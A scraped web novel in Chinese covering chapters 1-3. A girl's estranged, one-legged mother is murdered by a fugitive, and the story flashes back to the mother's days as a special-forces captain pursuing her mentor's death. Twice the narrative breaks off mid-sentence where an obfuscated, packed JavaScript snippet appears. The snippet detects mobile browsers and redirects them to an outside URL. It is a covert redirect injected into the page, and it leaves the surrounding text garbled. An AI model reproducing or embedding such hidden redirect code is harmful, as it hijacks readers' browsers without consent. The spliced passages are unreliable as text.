《穿回老妈卧底贵族学院那一年》 1. Chapter 01 “明明是他们欺负我,我凭什么要去道歉!我讨厌你,祝飞雁我讨厌你!” 嘭——! 满脸泪水的祝安宁拉开家门,气冲冲往外跑。 门灯亮起,映亮了杂物堆积的老破小楼道。 身后响起祝飞雁冷冰冰的声音:“今天你出这个门,就别再回来。” 祝安宁僵在门口,少顷回头看向里屋,只见祝飞雁坐在沙发上,神情专注地用纸巾擦拭着放在腿上的假肢。 顶灯有些昏暗,将她鬓边两侧的白发折射出一缕浮光。 她头也不抬,一副无动于衷的冷硬态度。 仿佛一盆冷水兜头淋下,祝安宁突然觉得很没意思,吸了吸鼻子,低声呢喃:“无论我做什么,你总是这样永远没有表情,有时候我真觉得你一点都不爱我。可你为什么要生我呢?你连今天是我15岁的生日都不记得……” 多年来压在心头的压抑化作一柄锋利的剑狠狠扎在她心口,下一秒她猛地抬头,声嘶力竭地怒吼:“你生我是因为你需要有个工具人赡养你这个残废吗!你就是个连自己女儿被人欺负了都只会点头哈腰的窝囊废,你不配!” 话落,祝安宁用力关上门,转头冲下楼梯。 三月的山城小县夜风冻人,像是要浸到人骨子里。 她一路小跑到公交车站,终于忍不住蹲在地上嚎啕大哭。 时间一分一秒过去,一束灯光突然映亮黑夜。 “祝安宁?” 祝安宁泪眼迷蒙地抬头,发现是好友莫莉的瞬间,噗噗乱跳的心脏骤停。她连忙抹干净眼泪起身,失望地说:“是你啊……” “不是我还能是谁?”莫莉关闭手电筒,语气担忧:“我妈说你家又吵架了,我去敲门没人应,我就知道你在这里。你俩又怎么啦?” 祝安宁有点烦,往站台椅子一坐:“你都说又了,还是老问题呗,讲两句就掐起来了。” 莫莉叹口气坐下,裹紧衣服道:“说实话祝阿姨这些年也不容易。我妈说当年她到这里来时才25岁,一个女孩子断了一条腿,还带着个孩子,好不容易找了份工作又因为要照顾你被开除了,如果不是她拉下脸找我妈借钱开小卖部,你早就饿死啦。” 这些祝安宁当然都知道。 虽然祝飞雁从来不说她自己的事,可她从邻居的只字片语里也能拼凑出一些信息,譬如当年祝飞雁年轻时遭逢车祸,导致右腿膝盖以下截肢,终生残废;也譬如她未婚生子,远离故乡来到无人认识的小县城艰辛养娃。 她很感激她的付出,但这不代表能原谅她的冷漠。 自打她有记忆起,祝飞雁就是一个沉默寡言又固执无趣的母亲,脾气暴躁,讲话刺人,做饭还特别难吃。 “我实在不理解她为什么要我去道歉。”祝安宁侧身,伸手抱住莫莉肩膀,语气抱怨:“要不是他们笑她是残疾人,我才不会和他们打架。” 莫莉从小和祝安宁一起长大,深知她深得祝飞雁真传,如出一辙的倔冷,必须得把毛捋顺了才能舒坦。 她笑着摸摸她头,像哄小孩一样从身后抽出一块小蛋糕:“好啦!生日快乐!快吃蛋糕,就不要去想那些啦。” 祝安宁瞅着最爱的草莓蛋糕,扑上去一把抱住莫莉,眼泪顿时流得更凶了:“就知道只有小宝贝你记得我生日!” 莫莉连忙举高蛋糕,一脸无奈地微笑:“警告你别撒娇哦,我鸡皮疙瘩都起来了。” 祝安宁嘿嘿一笑,甩着脑袋狠狠磨蹭好几下。 许久,她安静下来,靠向莫莉肩膀,侧头盯着悬在藏蓝夜幕的冷月,轻声说:“我马上就要上高中了,再等三年,我就彻底离开这个家。” “嗯?”莫莉一怔,这些年来祝安宁和她妈吵架的次数没有一百次也有九十次,但她从来没说过这样决绝的话。 祝安宁抬头,认真地与莫莉对视:“因为这次不一样,我看清她了,她根本就不爱我。” 【人家多嘴多舌关你屁事,你冲动打人就是蠢。】 【别废话,明天去道歉。】 【因为他们有钱,钱和权力能压死我们俩,你不去就等着被退学,回头找个穷光蛋生一堆穷光蛋。】 【你很有自我是吗?既然长本事了就滚吧,滚得越远越好,千万别哭着回来求我。】 …… 刻薄的话语仍然回荡在祝安宁的耳边。 甚至,她还能回想起祝飞雁说这些话时的冷漠表情,像一台毫无感情的机器。 眼泪都被晚风吹凉了,祝安宁挪开眼,目不转睛盯着广袤天际,近乎喃喃自语道:“其实很多时候,她只要摸摸我的头,说一句妈妈也是第一次当妈妈,我都能原谅她。可惜从来没有,她只会用最难听的话刺我。” “小时候你们都能学好玩的兴趣班,她却把我往散打馆里丢,我哭着跑出来,她把我打回去,还说是为我好。” “我成绩不好她也不在意,只会说普普通通也不错。” “你们的妈妈会给你们买漂亮的衣服,带你们去逛街,她永远只会给我钱让我自己去买。” “她老是出门十天半月不回,把我一个人丢在家里,有一次我问她为什么,她说是让我早点学会独立。” 多年来积压的怨恨脱口而出,祝安宁明明是为了吐槽发泄,却感觉有一口气淤堵在心口,上不来下不去。 她没有想到,这短暂又漫长的十五年日夜,居然只能浓缩成这几句冰冷的话。虽然早就习惯了,但渐渐长到能理解“爱”字含义的年纪后,越感觉不到爱越不甘心。 莫莉微微低头,看向一脸泪痕的祝安宁,欲言又止:“其实我觉得祝阿姨……” 话说到一半戛然而止,因为她也不知道该怎么形容祝飞雁,在她的印象里,这位的确不太好亲近。 “嗯……”少顷莫莉选择了一个最中肯的形容:“不善言辞。对,她就是嘴硬心软。” 祝安宁:“……” “你不用安慰我,反正我觉得我和她就像住在一起的陌生人,距离很远,完全不像母女。” 说完,祝安宁突然起身呼气,先是擦干净眼泪,然后端过蛋糕一口塞下去,囫囵地说:“好啦,我发泄完了。走,今晚我住你家!” 莫莉:“那你明天要去道歉吗?” 祝安宁是一个没做错就绝对不会道歉的人,顿时哼哼一声,转头就走:“绝对不去!我就不信了。” “真的假的?”莫莉连忙打开手电追上去,吃惊反问:“你能犟得过你妈?” ……那还真犟不过。 祝安宁心想如果她算犟种,那祝飞雁就是超级犟种,以往两人吵架都是她先示好,想要祝飞雁低头绝不可能,她是能做到一个月不说话的狠人。 祝安宁无所谓道:“那就再吵一架呗!” 随即,她抬手勾住莫莉脖子:“不许再说她,更年期妇女烦死了!” 两人打打闹闹,勾肩搭背往家走。 天际处形状诡异的乌云飘来,遮住清冷月光,宛如一只张牙舞爪的恶鬼。 . 连绵大雨下了一整夜,直至清晨仍有雷声阵阵。 但祝安宁是被警笛声吵醒的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463613|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么这么吵?”她烦躁地拉起被子盖住脑门,本来就很晚才睡着,这会儿眼皮都张不开。 床头柜上的时钟划至七点零五分,定点闹钟轰然作响:“现在是7点零5分,摄氏3度。” 糟糕!迟到了! 祝安宁猛地掀开被子,却发现莫莉早就起床了。 她现在是至关重要的初三阶段,学校要求初三生必须七点到校早读,违者罚写试卷一周。 她立刻爬起来,手忙脚乱地穿衣服:“啊啊啊莫莉我要杀了你,居然我不叫我!” 这时,卧室外突然响起莫莉父母的声音:“叫安宁出来?” “你去说吧,我怕她承受不住。” 莫莉隐约的哭声响起:“我不敢……” 所有人的声音都低,像一场诡梦。 祝安宁眼皮重重一跳,还有些困顿的意识骤然清醒,还没彻底反应过来,此刻楼下被忽略的嘈杂声音也逐渐清晰了。 “让开!别围在这里!” “都站在黄线外!” 男人肃然的呼喝声拔高。 莫莉家在二楼,所有声音都一清二楚。 好像出事了?祝安宁裤子穿了一半,顶着鸡窝头拉开窗帘一看,发现楼下果然围了一堆人,这栋老旧的楼外拉起了警戒线,数个警察将一具盖着白布的尸体搬上担架车,准备送进救护车。 她动作一顿,终于迟钝地意识到:有人死了。 晨雨纷飞,阴霾密布,像蓝天在哭泣。 祝安宁心跳得很快,定定站在原地俯瞰,只见担架车剧烈晃动了一下,白布一角被风掀开,露出一张惨白的面孔。 是祝飞雁。 是昨天还和她吵架的祝飞雁。 但此刻,她双眼紧闭,身上鲜红的血浸透了白布。 祝安宁保持穿裤子的动作,身形一震,大脑简直一片空白,连望出去的视线都模糊了。 只见警察连忙将白布重新盖好,顶着雨大声呼喝:“来个人送她,我还要上去!” 紧接着,一个拿着被砸烂的假肢的警察走到推车旁,掀开白布看一眼,然后对着电话说:“嗯,死者祝飞雁,身中数刀,刀刀致命,不排除是仇杀……什么?你说她是谁?” 那人表情震惊地站在雨里,抱紧假肢,目送担架车上去。 这副噩梦般的场景切切实实让祝安宁停止了思考,她无比迟缓地眨眨眼,像具失去灵魂的木头呆在原地。 这是她第一次发现,原来人在接收到无法接受的信息时,肺腑会像被抽空氧气一般,忘记呼吸,浑身僵硬。 “安宁。”身后突然响起莫莉低泣的声音,“你妈妈她……” “不可能!”祝安宁倏然回头,双眼猩红:“昨天我们还在吵架,我还要和她老死不相往来呢!” 语毕,一股强烈的晕眩感涌上脑门。 祝安宁双腿发软,直接栽向地面。 迷迷糊糊中,她听见莫莉父母发出急促的呼救声,伴随救护车的鸣笛声,随即是一阵摇晃、颠簸,她感觉自己被搬到了急救床上,疾驰般往前推。 不知过去多久,整个世界仿佛被昏暗笼罩,四周人声喧杂,所有声音透进来,都像是隔着一汪深水般朦胧不清。 祝安宁头痛欲裂地睁开眼,视线重新聚焦,恍惚中看见几个身穿绿色军装的人围在病床前争执不休。 紧接着,一个男人俯身下来,温和地摸了摸她的头,语气哀伤:“抱歉,安宁。” “昨晚你家遭遇了入室抢劫。” “飞雁她,重伤不治身亡。” 2. Chapter 02 “你妈以前是特种兵。” “入室抢劫不是意外,是预谋犯罪。” “她的腿也不是车祸才失去,而是因公受伤。” “十五年前,一桩大案牵扯恩德贵族学院的四个男生,但这四人背景很深,所有线索被人为毁灭,包括你妈妈的师傅也死于调查路上。为查案,上面安排她进入学校卧底。” “飞雁是一个非常专注、不达目的绝不放弃的人,仅仅三个月就将嫌疑人一一逮捕归案,但她也负伤退役,永远不能再回到热爱的岗位。” “她无法接受事实,等我们发现的时候,她已经带着你远走他乡,这些年从来没联系过我们。” “那桩案子结局两败俱伤,四人中有三人成功被抓判刑,但有一个人至今在逃。” “这次的凶手,就是当年的逃犯孟书礼。” “当初飞雁把他全家送进了监狱,他应该恨极了她,所以一直在谋划复仇……” 祝安宁站在停尸房门口,银灰色的大门映出了她苍白呆滞的面孔,围在身旁的几个陌生人正喋喋不休地讲述祝飞雁的过去。 这一天一夜发生的事太多,像做梦一样,她感觉脑袋都快要炸了。 她沉默地盯着门框上的黑显示屏,上面的实时日期徐徐向左滚动,数字鲜红——2040年3月6号。 警察说祝飞雁的死亡时间是6号凌晨。 在她们吵架后的几小时,在她决定快点长大离开她的时候,在她背后蛐蛐她的时候,她妈孤身一人在家,然后被那个叫孟书礼的王八蛋捅了数刀。 警察还说家里有明显的打斗痕迹,但祝飞雁行动不便,很快被对方捉住行凶,而昨夜雷声太大,一切动静被覆盖,无人知晓漫漫长夜里究竟发生了什么。 祝飞雁就那样躺在冰冷的血泊里,一点点死去,而她躺在莫莉床上酣然入睡。 无声的泪水从祝安宁眼眶中涌出,如果昨晚没赌气离家,是不是一切都不会发生?如果昨天回去一趟,是不是起码能帮忙报警? 嗡嗡嗡、嗡嗡嗡……这一瞬间,所有声音都被拉长、模糊不清,甚至变成了光怪陆离的吼叫与雷声。 那种天旋地转的晕眩感又来了。 她用力咬紧唇瓣试图让自己清醒,一言不发盯着停尸房的门,像是要深深望进里面,看到躺在冰柜里的人。 绝对是在做梦……祝安宁浑浑噩噩地想。 忽然,她的肩膀被轻轻拍了拍。 “安宁?” 祝安宁反射性抬头,只见身材健壮的中年人摘下军帽,态度小心翼翼:“孟书礼肯定还会来找你,为了你的安全,我们想带你离开。” 男人身后几个人也朝祝安宁看了过来,陌生的面孔上写满善意。他们都是祝飞雁曾经的队友。 祝安宁却目光凝滞,恍若未闻。 见状,这帮陌生人直接开始替她做决定,你一言我一语起来:“孟书礼向来鸡贼,人应该还在附近,她必须走。” “她还小,这件事太突然了,要不我留下照顾她吧?” “你女儿更小,我带她回部队!” “行了!她已经15岁,完全可以自己做决定。”一个短发女人毋庸置疑地下达命令,所有人立刻闭嘴。 紧接着,她走向祝安宁,从兜里拿出一张贺卡递到她面前:“这是警方在冰箱里发现的,插在一块草莓蛋糕上面。” “虽然飞雁十几年没有训练,但她骨子里就是一只猎鹰,天性敏锐,也许她早就发觉不对了,所以提前留下了这个。你看看吧……”女人说:“看完再考虑接下来该怎么办,我们会尊重你的选择。” 草莓蛋糕?祝安宁总算是回过了神。 她颤动的目光望向贺卡,刚劲大气的字体跃然于纸,但只有短短三行字:【不要难过,你要展翅高飞,璀璨无忧。】 卡片底部一角还有黏腻的奶油痕迹。 许久,她才颤抖着接过贺卡。 啪嗒——! 一颗硕大的泪珠坠向信纸,晕开笔墨。 原来祝飞雁没有忘记她的生日,甚至早就做好了准备。 直至这一秒,祝安宁才突然意识到祝飞雁仿佛是知道死期将至,所以用最冷漠的话将她逼走,然后一个人面对寻仇的罪犯。 昨晚的画面骤然在她眼前疯狂闪回,祝飞雁无动于衷地擦拭假肢,明明知道恶语相向会让这场吵架走向死局,但她还是说了,并且比以往更绝情。 某种意义上,她们母女的性格一脉相承。 只有最亲近的人才知道什么话会戳得心最痛。 可是,凭什么呢? 凭什么她什么都不说? 凭什么她装伟大,却要让自己接受残忍的事实? 又凭什么,她要从别人嘴里得知她的一切! 一些古怪念头简直如同火焰一样冲上了祝安宁脑门,理智瞬间被烧灼得一干二净。 她突然抬头,直勾勾盯向陌生的女人:“你说她以前是当兵的?” 女人还未回答,祝安宁猛地将信纸捏烂,宛如一头发狂的牛犊,冲着所有人歇斯底里大吼:“她要是真那么厉害,怎么会死呢?她不要了我是不是?骗子,你们都是骗子!是她叫你们来骗我的对不对!” 她妈?特种兵? 哈!简直荒谬到离谱! 她记忆中的祝飞雁就是一个普通人,瘦削、残废、没有朋友,从早到晚守在小卖部收银,面对流言和冲突永远窝窝囊囊受气,回家就对她横眉冷对,不负责任不交流,完完全全就是一个蛮横无理的中年妇女! “我知道她肯定没有死,她就是想丢下我!我要回去找她!”祝安宁狠狠推了女人一把,转身夺路狂奔。 雨一直下,淅淅沥沥。 如同被污染的蓝布,天边灰蒙蒙一片。 医院门口莫莉一家匆匆赶到,祝安宁无视他们的呼喊,横冲直撞冲入雨幕,一路抄近路往家的方向跑。 她拐进一条狭小的巷子,只要出去就是大路,一千米外就是那座承载十五年回忆的老居民楼。 突然,身后响起机车的马达声。 轰隆隆,轰! 雨越来越猛烈,祝安宁浑身湿透了,天际紫雷撕开天幕,她眯起眼转身,却见阴暗小巷里,一辆黑色机车如离弦之箭,直直冲她而来,车头迸射出一道刺眼光柱,恍如恶鬼窥伺的双眼。 双方距离急剧缩短,机车丝毫没有停下的意思,祝安宁到底只有十五岁,此刻脑子都是懵的,双腿已经被吓软了,等反应过来往前跑时,整个人已经被重重撞飞出去。 她几乎是脸着地,直接飞扑出几米远。 好一会,她艰难地抬起头,只见车上下来一个遮掩严实的男人,手中尖刀寒光凛冽。 祝安宁下意识往前爬去,然而她的腿似乎是被撞断了,下一秒,男人快步追上,一把揪住她头发迫使她往上抬,隐藏在雨帽下的面庞丑陋可怖。 瓢泼大雨中,男人高高举起手中的利刃,眼皮耷拉垂下,冲她快意地笑了起来:“和你妈一起去死吧。” 前所未有的恐惧侵占了思绪,祝安宁发出惊恐的尖叫声,眼底映着刀尖划破雨幕的冷光。 · 2024年。 西南边防军区。 日头正毒,金色阳光穿透植被茂密的丛林。 除了虫鸣鸟叫偶尔响起,这里静谧得就像一座荒林。 唰唰唰—— 灌木丛中突然响起急促的脚步声,紧接着,一支全副武装的六人队伍陆续从低坡爬上来,均落脚无声,宛如敏捷凶猛的野兽。 “脚印消失,劫匪躲起来了。”为首的青年握拳比出暂停手势,随即比划手势,示意大家分散寻找敌人的踪迹。 其余人点点头,立刻分开朝几个方向去。 指挥完毕,青年端起枪逡巡周围,额间热汗密布,一点风吹草动就能让他紧张地望过去,精神显然绷到了极限。 走到一颗树干足有成年男人腰围粗的树前时,上方一阵窸窸窣窣的微小响动传来,他顿时意识到危险,倏然抬头。 然而就是抬头的这一刹那,只见一道凛冽的身形从高处猛地跃下,先是凌空一脚踹上他胸膛,然后一个翻滚落地,半蹲在地,立即抬起手中的枪进行连射。 整套动作一气呵成,高效利落,完全不给人任何反应的时间。 砰!砰!砰! 枪声响彻云霄,惊得林中飞鸟振翅高飞。 仍在搜寻踪迹的五人压根没想到袭击会如此突然,直到胸口传来阵痛,低头一看,各自胸口赫然都有一颗炸开花的红色彩弹。 同一时刻,六人耳麦中响起同一道冷酷的声音:“蓝队全部阵亡,红队还剩一个劫匪,这次演练算红队胜。” 紧接着,那人又冷嘲:“一分钟内全部□□倒,你们真是出息。” 这不是一次真正的营救任务,实际上是一场友谊演练活动。蓝队是新开辟的一支特种队,红队则是成立已久的血豹特种作战队。 虽然是演练,但短时间内惨败的确太丢人了,六人面面相觑,脸色极其难看。 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463614|169758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是为首的青年。 因为此刻他脑门上正顶着一杆枪。 “服不服?”‘劫匪’威胁般抵抵枪头,语气戏谑:“跟我玩丛林战,你们这帮新兵蛋子还不够格。” “……”摔在地上的青年挥开枪,往后一瘫,抬眼注视着眼前脸上画着黑色油彩的女人,半晌才无奈道:“祝姐,咱不是说好放水的吗?” 女人正是祝飞雁! “嗯?没放水吗?我队友不都被你们干掉了吗?”祝飞雁挑眉一笑,伸手将青年拉起来,特别真诚地说:“最后让你们6V1已经是我对新人最大的诚意了。” 祝飞雁足有一米八二,青年站起来后还需要抬头才能彻底对上她的视线。 她长得很大气方正,骨相硬冷,棱角分明,即使浓郁的油彩遮盖了部分面孔,但那眉宇之间的英气依旧令人心惊,特别是那一双狭长精致的眼,将俊美演绎到极致。 女生男相,雌雄难辨,是一种登峰造极的美。 但最让青年佩服的,还得是祝飞雁本人。 血豹特种作战队是一支仅有五人的特殊队伍,三男两女,主要负责事关重大或危害国家安全的秘密任务,部队里一度盛传他们就是官方的清道夫。 要想进血豹,能力必须非常出众,勘查、狙击与战术指挥……十项全能都只能算基本。 而祝飞雁就是这一届血豹的队长,代号冷鹰,今年才二十五岁。 “……”青年不由自主回想起第一次与祝飞雁见面,当时她正在食堂大口啃猪蹄,吃相简直没眼看,根本无法和刚才出脚利落的人联系在一起。 少顷他摇摇头,没忍住对耳麦说道:“团长,你让祝飞雁来当劫匪,我们输不是板上钉钉吗?” 团长懒得搭理,只道:“全部滚回来给我加练!” 那暴躁的声音几乎要冲出耳麦。 祝飞雁乐不可支掏掏耳朵,随即拍拍青年肩膀,幸灾乐祸地说:“得,你小子就回去跑圈吧。” 说完,她转身挥枪:“血豹的,咱也回去加餐!” 话落,四个胸前佩戴红章的人迅速从草丛里钻出来,满脸笑意形成强烈对比。 青年心塞得不行,连忙叫住祝飞雁:“等等,人质呢?” 祝飞雁脚步一顿,抬枪往树上一指:“被我绑上面了,自己上去救。下次再练丛林攻防,别忘记往上看看,要真执行相关任务,你就会发现有些像猴一样的崽种就爱躲树上。” 青年还没出过任务,听言立刻感恩戴德地点头,然后他抬头绕树走了一圈,最后终于在郁郁葱葱的枝叶中发现一个眼泪汪汪的家伙。 “呜呜呜呜——”这位倒霉蛋嘴里被塞了一坨布,正吱哇乱叫,眼下还有乌青。从音调来看,大概率是在骂祝飞雁。 青年无奈扶额:“……” 究竟是哪个天才想到让血豹来进行友谊赛的,这分明就是搓磨!! …… 与此同时,祝飞雁和队友汇合。 “咱给团长长面了,晚上会有山珍海味不?” “新团长穷啊,多俩鸡腿都算恩赐。” “欸飞雁。”一人突然朝祝飞雁看来,“这么久了,瞿队联系你了吗?” 祝飞雁边走边调整步枪的带子,闻声表情顿冷,言简意赅:“没有。” 瞿欣是血豹的上一任团长。 祝飞雁是孤儿,和她算师徒,亦情同母女。 一年前,瞿欣年仅二十七岁的亲女儿瞿柔无故失踪,直到半月前一场特大暴雨席卷T国,附近无名小岛突现十三具女尸,其中一位死者正是瞿柔,为此瞿欣亲自前往T国,但这半个月来,没有一点消息传回。 祝飞雁缓缓吐出一口气,随手将枪掰到背后,语气沉静:“跨国查案比较复杂,可能耽搁了吧。” 话是这么说,但其实她心情并不算好。 因为两人约定过,无论何时都要保持联系。 “冷鹰。”这时,耳麦中骤然响起新团长徐庆云的声音。 祝飞雁眯起眼,停下脚步。 阳光倾泻下来,将她冷峻的眉眼描摹得更清晰了。 “刚才T国传来消息,瞿欣和法医遭遇车祸,两人当场死亡。”徐庆云的声音肃然而平静。 祝飞雁一顿,简直不敢相信自己听到了什么,尽管如此,她还是保持了绝对的冷静:“确定?” 队友见她脸色不对:“怎么了?” 祝飞雁一言不发,脸色逐渐阴沉。 下一刻,她直接爆出一句粗口,丢下队友拔腿冲营区狂奔。 3. Chapter 03 “T国官方的死亡报告已经传过来了。” “那边的人说,瞿欣和法医发现了一点线索,准备回警局的路上意外出了车祸,司机是酒驾,三人当场死亡。” “你放心,上面会派人把她接回来……” 祝飞雁快速穿梭在林间,耳边仿佛还回荡着徐庆云的声音,如同魔音贯耳,纵使风声呼啸擦肩,仍无比清晰。 但她坚决不信瞿欣会死。 或者说,这会是一场意外。 祝飞雁是个老倒霉蛋了,亲爹妈死得早,家里没有什么亲人,小小年纪就被送去了福利院。那间福利院是一帮想钱想疯了的王八蛋建的,表面收养孩子,实际上会逼迫孩子们去讨饭,讨不到钱就是一顿毒打。 八岁那年,祝飞雁放火试图逃走,差点被人打死时遇到了前来调查的瞿欣,后来福利院被查封,她也被瞿欣收养。 是瞿欣耐心教导她走正道,将她从一个不学无术的小垃圾送上高中甚至大学,最后成为一个和她一样光荣的兵。 她这辈子没什么念想,就想好好工作,攒钱买房存老本,来日等瞿柔结婚,给瞿欣颐养天年。 然而一年前瞿柔失踪,生命止步于27岁。 如今瞿欣去一趟T国竟也死了? 愤怒的火焰涌上祝飞雁的心头,几乎是拿出冲锋的毅力在狂奔,远远将队友甩在身后,直接一路奔回几公里开外的营区。 友谊演练为时三天,荒芜的平原上临时搭建起营区,一红一蓝两顶大帐篷伫立在碧海蓝天之中,周围军人有序地巡守,路标处停着几辆绿色皮卡。 徐庆云此刻就在红帐篷里。 但门口守着一个面容冷肃的持枪青年,他是团长卫兵。 祝飞雁渐渐放缓脚步,喘着粗气上前,没有一个字废话:“让开,我要找徐团。” 青年往中间一站:“徐团正在处理事情,没有他的允许暂时不能进。” 他将枪往前一送,呈护卫姿态完全挡住去路。 祝飞雁看一眼枪,随即抬头望向青年,像只冷酷的鹰隼直勾勾盯着对方双眼:“手不想要了?” 青年的眉端微微蹙起,无声回望祝飞雁。 也许她是跑了很久的缘故,利落的齐耳短发被汗沾湿,垂在棱角分明的脸侧,额间热汗晶莹,正顺着发丝滴入衣领。 整个西南军区没人不知道祝飞雁的大名,当然最著名的还是她炸裂的狗脾气,她是那种就算要面临一周禁闭也要自己痛快的狠角色,不爽时路过的狗都得被踹一脚。 “……”许久,青年无奈叹气:“我有命令在身。” 但话音戛然而止,因为祝飞雁已经猛地捉住他手腕,十分迅捷地夺过枪,然后结结实实送了一个过肩摔。 青年整个人被摔向地面,顿时吃痛地嘶了声,与此同时,头顶瞬间响起枪械被拆开的碰撞声。 弹匣、枪托、瞄准器…接二连三往下坠,纷纷砸向他胸膛。他不可思议地抬头,只见祝飞雁手里只剩下一个握把,她随手往地上一丢,紧接着心平气和地说:“再拦我,管你是不是我同事,一定把你手打断。” 话落,祝飞雁迈开长腿,越过对方直接掀帘。 见状青年连忙爬起来,一把拽住她的肩膀,语气十分严肃:“祝飞雁你想被关禁闭吗!这里是军营,你眼里还有没有规矩和徐团?” “有本事把我关到死。”祝飞雁现在非常迫切地想要知道答案,心情也糟糕透顶,根本没有心思管这些。 她满脸寒气,回头瞥了眼肩膀上的手,二话不说想要再次出手。 这时,里面骤然响起徐庆云的声音:“让她进来。” 剑拔弩张的气氛瞬间消散。 ……得亏没打起来,否则肯定负伤。 青年肉眼可见地松了口气,立刻收回手,随即望向祝飞雁,忍不住戏谑道:“鹰姐,记得请我吃饭赔罪。” “没问题,吃什么你自己选。”得到准可,祝飞雁丢下一句话后,迫不及待掀开帘子进去。 …… 帐篷门帘哗哗作响,祝飞雁钻进去,细心地将帘子拉紧,不让一点声音透出去。 她转过身,只见徐庆云站在白板前与人通话。 “我知道了,我会看着办。”他背对着祝飞雁,军装下的身躯挺拔健硕,是正值壮年的年纪。 徐庆云是在瞿欣调任后过来的,手下有很多特种作战队,但主要负责血豹,因为他是上一任血豹的队长。 这会儿他还在打电话,祝飞雁强行按耐住火气等着,顺手抹了一把额头的热汗。黏腻的汗水被握进掌心,很快被体温蒸发。 很快电话讲完,徐庆云锁上屏,轻轻将手机放到桌上后,才坐下来,慢条斯理往保温杯里添热茶。 “冷静下来了吗?”他这样问。 祝飞雁最烦这种阴阳怪气的语气,不搭腔,开门见山道:“我要查无名小岛案。” 半月前席卷T国的那场特大暴雨被新闻报道过,起初大家都以为只是一场自然灾害,直到十三具女尸被大雨冲出,飘到海上,震惊了T国警方。 事关瞿柔,虽然瞿欣只字不提,但祝飞雁认真关注过这个新闻。 十三具女尸均是本国滨海人,其中十二人是一枪毙命,其中只有死者瞿柔被凌虐致死且能确定身份,因为法医在她手里发现一张死死握着的纸条,上面写的是瞿欣的手机号码。 随后瞿欣与上面进行交涉将近一周,终于得到跨国查案的权力,亲自前往T国,结果却换来死亡的结局。 祝飞雁用脚趾头想,都知道这件事非常不对劲。 别的事先不说,只谈失踪一年的瞿柔,一个出生于滨海、生长于滨海的人,最后竟漂洋过海到了他国的无名小岛? 线索绝对在瞿柔身上,或者说那座岛。 她不假思索上前一步,重复:“我要查。” “……”徐庆云动作一顿,边继续倒茶,边平静出声:“那座岛在T国领域,案件也归属在T国。你怎么查?再说你是警察吗?你拿什么身份去查案?” 祝飞雁蹙眉:“我可以像瞿队一样调任。” “她堵上未来做担保才以顾问的身份成功调去滨海刑侦组,难道你也要放弃来之不易的血豹成员身份?” “只要找到真相,我无所谓。” “你在想屁吃!”嘭!徐庆云猛地将茶壶往桌上一扣。 他差点没直接气吐血,登时怒骂:“我没调来之前就听说你是历届成员中成绩最优秀的一个人,除了硬实力,心理层面也很优越。无论是观察员还是心理医生,都曾表示你虽然脾气不好,但执行任务时相当冷静有分寸,但我没想到你居然能为了一个瞿欣甘愿放弃这些年的努力。” 面对质疑,祝飞雁面无表情昂首:“军人的职责是保家卫国,但如果家没了,谈什么捍卫祖国?” 语毕,她再次斩钉截铁地重复:“我要查。” 今天就是天王老子来都不好使,她祝飞雁决定的事,除非死才能改变。 闻言,徐庆云顿时深吸一口气:“你听不懂我刚才说什么吗?” “听见了。”但祝飞雁像复读机一样,又道:“反正我要查。别以为我猜不到你告诉我瞿队车祸的原因,不就是因为你们早就看中我了?” 自打徐庆云调任以来,祝飞雁实际上就发觉了一丝微妙的变化,不仅心理测试变多了,体测与演习也越来越频繁,还时常有防弹公务车出入军营。 当然,这些都是针对她的。 她早就发现经常有陌生人出现在有她在的训练场。 祝飞雁眯起锐利的眼:“想让我办事可以,但必须让我去查。” 徐庆云:“……” 这一刹那,徐庆云脸都绿了。 他不由自主回想起刚才电话的内容,那人几乎是戏谑地说:“祝飞雁可是著名的刺头兵,只有号称幼儿园园长的瞿欣才能顺她毛。你要想打她主意,恐怕没那么容易,她应该早就发现了。” 如果说血豹的其它成员都是一头头凶猛的野兽,那么祝飞雁就是一只翱翔于天际的老鹰,就像她的代号冷鹰,个性张扬倨傲,浑身上下充满不服管教的自由意味,但她向下俯冲捕捉猎物时,一定是专注并强悍的。 沉默足足一分钟,徐庆云注视着祝飞雁快要喷火的眼睛,随即视线挪下去,只见她垂在腿侧的双手已经攥得青筋凸起,指腹泛白,这让人不得不怀疑下一秒她都得锤爆眼前这张桌子。 良久,他握着保温杯轻抿一口,然后平静地望着祝飞雁:“你先给我一个理由。” 这话一出,祝飞雁就知道稳了,毫不迟疑地说:“没有理由,就是想干死那帮崽种。” 瞿欣去T国是绝密,她不知道是谁手眼通天到能将手伸到T国警局,只知道十三具尸体都是本国人,她的姐姐、情如母亲的师父都死于这件事。 “我会把他们揪出来一个个弄死。”她这样说。 她说的是“会”,而不是“想”。 这是一个充满坚定的信念词。 徐庆云上下打量祝飞雁一眼,静默数秒才问:“你知道你要面对的是什么吗?即使最后有生命危险,即使只有你一个人冲锋陷阵,你也不怕?” 祝飞雁垂下眼,她当然怕。 她曾经过得饥一顿饱一顿,整日龟缩在狭小阴暗的房间里遭受毒打,怕过、恨过也哭泣过,可她从来没有退缩过,无时无刻都在想办法脱离险境。 因为只有去尝试,才能知道结局是苦是甜。 如果前方是南墙,那就把它彻底撞碎,哪怕头破血流! 这就是她的人生教条。 所以这一次,祝飞雁还是一样的选择,她抬头认真地与徐庆云对视:“比起死,我更怕我没有去做。” 气氛一瞬间仿佛凝固了。 两人四目相对,谁也没有说话。 